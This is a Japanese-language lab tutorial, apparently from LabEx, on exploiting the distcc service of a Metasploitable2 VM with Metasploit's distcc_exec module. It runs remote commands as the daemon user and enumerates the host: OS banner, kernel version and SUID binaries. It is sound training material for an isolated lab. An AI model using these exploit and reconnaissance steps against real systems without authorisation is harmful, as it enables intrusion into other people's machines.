はじめに
この実験では、Metasploit を使用して脆弱な Linux ターゲット上の distcc サービスを悪用し、取得したリモート実行コンテキストを確認した上で、ターゲットから基本的なシステム情報を収集します。このワークフローでは、対話型シェルセッションではなく、Metasploit モジュールのプロンプトから一度に 1 つずつリモートコマンドを実行します。
このターゲット上の distcc モジュールは、cmd/unix/generic を介したリモートコマンド実行には信頼性がありますが、この環境では永続的なシェルを開くことはできません。主な学習目標は、その動作を認識し、各コマンドがどのリモートアカウントで実行されたかを検証し、意図的な後続コマンドを使用してターゲットの列挙を継続することです。
環境の準備
このステップでは、Kali Linux コンテナや Metasploitable2 仮想マシンなど、実験環境に必要なコンポーネントを起動します。
- ターミナルで以下のコマンドを実行し、Metasploitable2 仮想マシンを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するまで待ちます(1〜3分かかる場合があります)。
- ターゲットの IP アドレスに ping を送信して、仮想マシンが起動したかテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- Kali Linux コンテナを起動し、その bash シェルに入ります。
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、
targetホスト名に ping を送信してネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
ターゲットマシンへの初期アクセスの取得
このステップでは、Kali コンテナ内の Metasploit Framework (MSF) を使用して、Metasploitable2 ターゲットマシンへの初期アクセスを取得します。
- Kali コンテナ内で、Metasploit コンソールを起動します。
cd ~
msfconsole
- Metasploit コンソール内で、
distcc_execエクスプロイトモジュールを使用します。
use exploit/unix/misc/distcc_exec
- ペイロードを汎用リモートコマンド実行に設定します。この環境では、モジュールは安定した対話型シェルを開かないため、一度に 1 つずつリモートコマンドを実行する必要があります。
set payload cmd/unix/generic
- ターゲットホストの IP アドレスを設定します。
set RHOST 192.168.122.102
- ターゲット上で実行したい最初のリモートコマンドを設定します。
set CMD whoami
- エクスプロイトを起動して、ターゲットマシン上でそのコマンドを実行します。
run
正常に実行されると、192.168.122.102:3632 - stdout: daemon のような出力が表示されるはずです。この結果は、コマンドがリモートの Metasploitable2 ホスト上で daemon ユーザーとして実行されたことを意味します。
次のステップのために、msf6 exploit(unix/misc/distcc_exec) > プロンプトのまま待機してください。新しいリモートコマンドを実行するたびに、CMD を更新してモジュールを再度実行します。
現在のユーザー権限の検証
リモートコマンド実行を取得した後、ターゲットがコマンド実行にどのユーザーアカウントを使用したか、また既に昇格された権限を持っているかどうかを確認する必要があります。
distcc_execモジュールのプロンプトから離れてしまった場合は、ステップ 2 の Metasploit 設定を繰り返して、msf6 exploit(unix/misc/distcc_exec) >に戻ってください。現在のユーザーを確認するためにリモートコマンドを設定します。
set CMD whoami
- モジュールを実行して、ターゲット上でそのコマンドを実行します。
run
- 次のリモートコマンドを設定して、ユーザー ID とグループ情報を表示します。
set CMD id
- モジュールを再度実行します。
run
出力が stdout: daemon および uid=1(daemon) gid=1(daemon) と表示される場合、エクスプロイトは root ではなく daemon アカウントとしてリモートでコマンドを実行しています。さらに進むには追加の権限昇格手法が必要ですが、この実験ではアクセスの検証と偵察データの収集に焦点を当てます。
次のステップのために、同じ Metasploit モジュールのプロンプトのまま待機してください。
システム情報の列挙
アクセスレベルを確認できたので、侵害したホストの種類を特定するために、ターゲットシステムからいくつかの詳細情報を収集します。
distcc_execモジュールのプロンプトから離れてしまった場合は、ステップ 2 の Metasploit 設定を繰り返して、msf6 exploit(unix/misc/distcc_exec) >に戻ってください。Linux ディストリビューションのバナーを確認するためにリモートコマンドを設定します。
set CMD "cat /etc/issue"
- モジュールを実行します。
run
ターゲットから表示される出力の例を以下に示します。
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | | __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
- カーネルバージョンを確認するために、次のリモートコマンドを設定します。
set CMD "uname -a"
- モジュールを再度実行します。
run
ターゲットから表示される出力の例を以下に示します。
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
- 後のポストエクスプロイト分析に役立つ可能性のある SUID ファイルを見つけるために、リモートコマンドを設定します。
set CMD "find / -perm -u=s -type f 2>/dev/null"
- モジュールをもう一度実行します。
run
リストを確認して、ターゲット上にどのような権限付きバイナリが存在するかを把握します。正確なエントリは異なる場合がありますが、侵害されたホストから /usr/bin/sudo や /usr/bin/nmap などのパスが表示されるはずです。
出力の確認が完了したら、exit を入力して Metasploit を終了できます。
まとめ
この実験では、LabEx 環境を起動し、Metasploit Framework を使用して脆弱な distcc サービスを悪用し、cmd/unix/generic を介して Metasploitable2 ターゲットに対してリモートコマンドを実行しました。その後、whoami および id を使用してリモート実行コンテキストを検証し、後続のコマンドを実行する前にエクスプロイトがどのアカウントを使用したかを確認しました。
また、ディストリビューションのバナー、カーネルバージョン、利用可能な SUID バイナリを確認することで、侵害したホストから基本的なシステム情報を収集しました。これらのポストエクスプロイトチェックは、取得したアクセスの確認や、Linux ターゲットに対するさらなる列挙を計画する際に役立ちます。



